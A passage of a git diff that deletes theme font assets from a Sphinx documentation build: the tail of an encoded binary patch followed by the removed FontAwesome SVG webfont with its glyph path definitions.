zLo2!icVVQZQ^aprY#kWrG17%rcxiB`yMILA*3uUlY7uF9#rxiNefLNU7DCHNWXniX
zSA?iQvl8Ci-9FM~#=Fk`rrt=$h*b?@$sCCcS=0xGGPJ4T4Wq*&-5py+`W8!fe>>8t
z`LwW-*51+57NK5i+SJ`1888fXw~dSrMf8J_{<iL3b6?9~6SXxmq;F}b0@1^0XQaJ*
zL>lgD8Hz}4T@myU4VZ0sBr@34+S1muxn-!`*3p74oOm)$1Vrj|X|M%A0Kga+G=Tb{
z<W?p5#Dh|j_8>(zfKalco=rmo>X+Ll9+Xco4fc)>HxXc%`?~wJphX2DCE761qugy9
zM<eJG6hetj-TfT{YPR9Fp$G_%u7MGomQ95U6EdnHb8AcgM6hLOXkfF_lNL3ow8E%{
zM+ePnK!FIQiwKU;oZ;?mk*1E(-d?K~9`0-D?R7@BwDq?1wVY~}*xB7NB7$)2z#JKh
z7$aK&Xc!F>1=@NCh9g$=SATbZr_y!_{n;Newzc#|`rBKE^h4Mx4D=b=2KxFi-uk|l
z&i=@Vd7{5Y2T%1QwGZGvvN;kNvEkDP2dT(5Ojv6NpfEC|R%X#2s0j|O;hQ2uAV*tz
zqqOI)fuZhgL>=~;0P#(2fQu39$mZ@5z@^&p1Y`vE%9B-v_$E|7G$8auwu+d|!$z&i
z!?uyG(Z1H<rqMy_IEVH`&826Pf=IerdOIu%c2RMPfd&*P!q(f}-vi)ON7yhpI^2cN
zvSB7ghJZGJVfuR%6w=+VN9BWETP>a4sG(Jb0~I?^HBv8dP`{+icZ&kzYDM;m$*Vq^
zl>|y=gZ9D3iEq`bCF@6lhT3{805MD&>fm-^Xn0uYYHv5T0vgbH{bFmRx7X4}-P(bU
z9f_E`FpNzqbSpuc?*=6_I%rbv)FDwSa5kNW$mla-lmZ-QM2!xfnTd)44j*WZ=r<2x
z&UZ;8EyF#-dSF!anW=TCJJQjHO^lf!SDhzP=g`3DAka#Gj|6}mZP&L(T7V&hw$Tv`
z<=|HHV9THaKiz}kF!rxz8l9$A0BR2)ZeR$&#YcPjKrb-HP<KycqzeUhc9}+jqlQpy
z1Z`;TjYt6A?lz$L(Y78Fh7s+-^tGP~Dc$bu92n>X@;`+GER!N6jA3M}8GRlZX`(O1
zJfR>asT!bewWvX*uP|?b+53mZ;ejE58ZJsUgA&5znONBfM6gDvuqLA20|1y#z<)cI
zq}Bn9u|)%CN@<+{ZF(RaKLU6i!7gvm2uL5o*tY;90_T~5+q-}?M|)e1zzZ1X&WK&<
zVx<|hbXnC$6;chfls5IXTab68YhW0iA2AM(c8}1A840MUMtvI=sz?MY%mA=5t(3}g
zLZ8q&+TDxU(rHBIL0WfAEq$oHrN1qr?~AnebdOj%s7a`0Lj+BaU>)dE`d#cO?ubOS
z4~$}<n$S*MsWYR`h*9D1j3~h08P7B-=F|BtYEa2&RKtW(mGUX6p*=F(gJnbC+cHQu
z1yDw;eFLrZUCL~<YVfYWn|b5tz=+y3iyBnN8DHDqkB?E)N?84Sx0*FnfR1raMuF6a
zj!9^cp3RXhgEU1E#OPuG2Zt2`L>lfxL!=I@5dA`5q|4BW)qSv~-3T<Nz=e@$3Cd<y
z0t#vYT(=w1$5_2udNG6ABPOLmNY?8(h3_;31Z1Kv7Rsa-+knMPl%)yFWe*`6K&99e
zD66ncT3IZ^qnMGHzTJZW>(N#<gk<HV*1^$j+o<olBW)2Zpj04HIrh^*B6Re_UEPu1
zcKgIaqqZiBmZ&D6SHRF{_iz__bO^{ULJQB9wss&WZPivVfC3<A#HavrMie2a$(a-c
z)iu)B8xq@whfDQ<O`uG(idCs26)ZZ8)zJlb?;afP9&S3lAVr;un^?5Orqbe4kPIOG
zs8M>XWN0tGc7k%CGBuR1L>hY|AZH0@r~w6H(Zn`&H8Uw_or*%qB>}U#<kK@P!kE^y
zvZ(-a8d3ndl)6laj1CE%t%JhoaJ$gmKO}4z+$s!>whBE%n}ybqHX@TFrc-m)so<g3
zt!Uz4S4%5qWK(INBKlOU#xaTvd%hk;pJkhfR&a3C8Bg>c#gzu>60&Z^YC75)QI|ID
zLEM62Hqk|iK9z<#)6fpM0Z|Q<4gzojd4a~lbLUV?pS}Y$ZO@R<(%vt2l$4d&Tf0YE
zf!KkK)nNc8>>aX<C^sd_(K~>OP7_nMNzbE$liw0tIVZhUr}$=&xdWSr4Vb1w1KsTs
zCdTL%G_$*v)|TO(t%F$921bX5H;!Ua0673q8PInCE%!!5y3hhX(mf~)kJ8YF!v@;i
zbZ?3Xt)rcMQ;)Pc(%m|MjYB{Fkf1DJSH2z7LB-q@7mQIqU}6pKRY`Dq6}GnzfF4k`
zA6n;^m0LG~6bDtRv<a!oi*4%4rbILiP*i{}rF5aODi6^mOqVjcl+&fcFxubUP*PKj
zzHTW&Oa*1CD5XcrR6&_4C{qPxs-R326=GAcSjo{!A>;@aqncoGP%W(%1qF+dDOik5
z!D3_z7E`8@V!F`V63SFUnMzPiumsfvODIPP<tU*XC0g6+iq%r<C|`i`1t?#D@&za#
zG}~~Yd;!WApqfglrc%lQYtFb(j#908^;&`TC2GO-N(#zas#OWUiAuNBhqXHu9;7mY
zRBMoG4N|Q^<ppI8YFTGc#UZLVM8$?EQ;0H!C{u_sg(y>qGQmzuQ!q?9!juDcjB%kH
zVXdhR$~(#wF2j&?DDNm!8NDc@Ol6d*j9!#cHDy!{B%P7CjY3pS8RaOa9OaaQ;37zH
z5hS<>5?llcE`kIXL4u25IpwIJ92Jy<fFcN>z$GYl1e9R}P#~ndpd17gApiv~$Ppr-
z2oX?(icv?X7<GgQB0>ZaA%cidafP%g0$hq9fkcSP3K2+z2qZ!T5+MSK5P?L9Kq6E^
zl?14g0OcTH2oW%Z2pB>H3?TxB5CKDofFVS{5F%g*5io=Z7(xULAwpjvn6|=&a+Fez
zQp!<EIf9fUNI8O(gN8mtLm#4{hqMA+C`XWT1Sv;|a?rSkXxu|I?jaiY5RH3?#yv#i
z9-?s%(YS|b+(R_(AsY7(jXUg}(S>q^DF+4}7s?T?KyM=lE|dd<ju7RbK@ZWOhcM{4
zP!1aO5Dj{W20cWB9-=`H(V&ND&_gunAsX}$4SI+MJw$^ZqCpSQpoeJCLp10i3_329
zgD^peFhK~Ipd(NgQRYXWT%Az?swqrEAEu!XYxp2gu1==_)fXlJ2onH=2_=LHmclgt
zVH*E1jenTNKTP8vrtuHc_=joy!!-V38vihjf0)KUOyeJ>@ekAZhiUx7H2z^4|8PK^
zmVp|rg*ED&57Y$Ime-VOcXh%AYP6=-s53uMQ>MKy*X|SL)o9PP+PzM@*K79~>b+L0
zw^pmSR;#yGtG8CGw^pmSR;#yGtG8CGw^pmSR;#yGtG8CGw^pmSR;yP-nt?j4-a4(`
zI<4M1t=>AV-a4(`I<4M1t=>AV-a4(`I<4M1t=>AV-a4&b4Yvj~+#0CY>aEx6t=H<+
zFl<1>uz`B5-g>Rxdad4it=@XA-g>Rxdad4it=<`0KhO9-gZkGMYOgEQURS8Su2BEF
zLjCIsN-365OI@Lsx<V~=g<9$gwbT`AsjDkwvWfBkf8e|lBap)f#1ddZ5TB9h5Re3(
de*jv40|X!y3}<W?od?mU{cQ|D^cBO5od6617EJ&E

diff --git a/_build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.svg b/_build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.svg
deleted file mode 100755
index 855c845e538..00000000000
--- a/_build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.svg
+++ /dev/null
@@ -1,2671 +0,0 @@
-<?xml version="1.0" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
-<svg>
-<metadata>
-Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016
- By ,,,
-Copyright Dave Gandy 2016. All rights reserved.
-</metadata>
-<defs>
-<font id="FontAwesome" horiz-adv-x="1536" >
-  <font-face 
-    font-family="FontAwesome"
-    font-weight="400"
-    font-stretch="normal"
-    units-per-em="1792"
-    panose-1="0 0 0 0 0 0 0 0 0 0"
-    ascent="1536"
-    descent="-256"
-    bbox="-1.02083 -256.962 2304.6 1537.02"
-    underline-thickness="0"
-    underline-position="0"
-    unicode-range="U+0020-F500"
-  />
-<missing-glyph horiz-adv-x="896" 
-d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
-    <glyph glyph-name=".notdef" horiz-adv-x="896" 
-d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
-    <glyph glyph-name=".null" horiz-adv-x="0" 
- />
-    <glyph glyph-name="nonmarkingreturn" horiz-adv-x="597" 
- />
-    <glyph glyph-name="space" unicode=" " horiz-adv-x="448" 
- />
-    <glyph glyph-name="dieresis" unicode="&#xa8;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="copyright" unicode="&#xa9;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="registered" unicode="&#xae;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="acute" unicode="&#xb4;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="AE" unicode="&#xc6;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="Oslash" unicode="&#xd8;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="trademark" unicode="&#x2122;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="infinity" unicode="&#x221e;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="notequal" unicode="&#x2260;" horiz-adv-x="1792" 
- />
-    <glyph glyph-name="glass" unicode="&#xf000;" horiz-adv-x="1792" 
-d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
-    <glyph glyph-name="music" unicode="&#xf001;" 
-d="M1536 1312v-1120q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v537l-768 -237v-709q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89
-t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v967q0 31 19 56.5t49 35.5l832 256q12 4 28 4q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="search" unicode="&#xf002;" horiz-adv-x="1664" 
-d="M1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -52 -38 -90t-90 -38q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5
-t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
-    <glyph glyph-name="envelope" unicode="&#xf003;" horiz-adv-x="1792" 
-d="M1664 32v768q-32 -36 -69 -66q-268 -206 -426 -338q-51 -43 -83 -67t-86.5 -48.5t-102.5 -24.5h-1h-1q-48 0 -102.5 24.5t-86.5 48.5t-83 67q-158 132 -426 338q-37 30 -69 66v-768q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1664 1083v11v13.5t-0.5 13
-t-3 12.5t-5.5 9t-9 7.5t-14 2.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5q0 -168 147 -284q193 -152 401 -317q6 -5 35 -29.5t46 -37.5t44.5 -31.5t50.5 -27.5t43 -9h1h1q20 0 43 9t50.5 27.5t44.5 31.5t46 37.5t35 29.5q208 165 401 317q54 43 100.5 115.5t46.5 131.5z
-M1792 1120v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="heart" unicode="&#xf004;" horiz-adv-x="1792" 
-d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600
-q-18 -18 -44 -18z" />
-    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="1664" 
-d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455
-l502 -73q56 -9 56 -46z" />
-    <glyph glyph-name="star_empty" unicode="&#xf006;" horiz-adv-x="1664" 
-d="M1137 532l306 297l-422 62l-189 382l-189 -382l-422 -62l306 -297l-73 -421l378 199l377 -199zM1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -50 -41 -50q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500
-l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455l502 -73q56 -9 56 -46z" />
-    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="1280" 
-d="M1280 137q0 -109 -62.5 -187t-150.5 -78h-854q-88 0 -150.5 78t-62.5 187q0 85 8.5 160.5t31.5 152t58.5 131t94 89t134.5 34.5q131 -128 313 -128t313 128q76 0 134.5 -34.5t94 -89t58.5 -131t31.5 -152t8.5 -160.5zM1024 1024q0 -159 -112.5 -271.5t-271.5 -112.5
-t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
-    <glyph glyph-name="film" unicode="&#xf008;" horiz-adv-x="1920" 
-d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128
-q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45
-t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128
-q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19
-t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="th_large" unicode="&#xf009;" horiz-adv-x="1664" 
-d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38
-h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="th" unicode="&#xf00a;" horiz-adv-x="1792" 
-d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320
-q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
-h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192
-q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="th_list" unicode="&#xf00b;" horiz-adv-x="1792" 
-d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960
-q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
-h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="ok" unicode="&#xf00c;" horiz-adv-x="1792" 
-d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
-    <glyph glyph-name="remove" unicode="&#xf00d;" horiz-adv-x="1408" 
-d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68
-t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
-    <glyph glyph-name="zoom_in" unicode="&#xf00e;" horiz-adv-x="1664" 
-d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224
-q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5
-t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
-    <glyph glyph-name="zoom_out" unicode="&#xf010;" horiz-adv-x="1664" 
-d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z
-M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z
-" />
-    <glyph glyph-name="off" unicode="&#xf011;" 
-d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5
-t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
-    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="1792" 
-d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
-v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="cog" unicode="&#xf013;" 
-d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38
-q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13
-l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22
-q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
-    <glyph glyph-name="trash" unicode="&#xf014;" horiz-adv-x="1408" 
-d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576
-q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832
-q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="1664" 
-d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5
-l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
-    <glyph glyph-name="file_alt" unicode="&#xf016;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-" />
-    <glyph glyph-name="time" unicode="&#xf017;" 
-d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="1920" 
-d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256
-q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
-    <glyph glyph-name="download_alt" unicode="&#xf019;" horiz-adv-x="1664" 
-d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136
-q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
-    <glyph glyph-name="download" unicode="&#xf01a;" 
-d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273
-t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="upload" unicode="&#xf01b;" 
-d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198
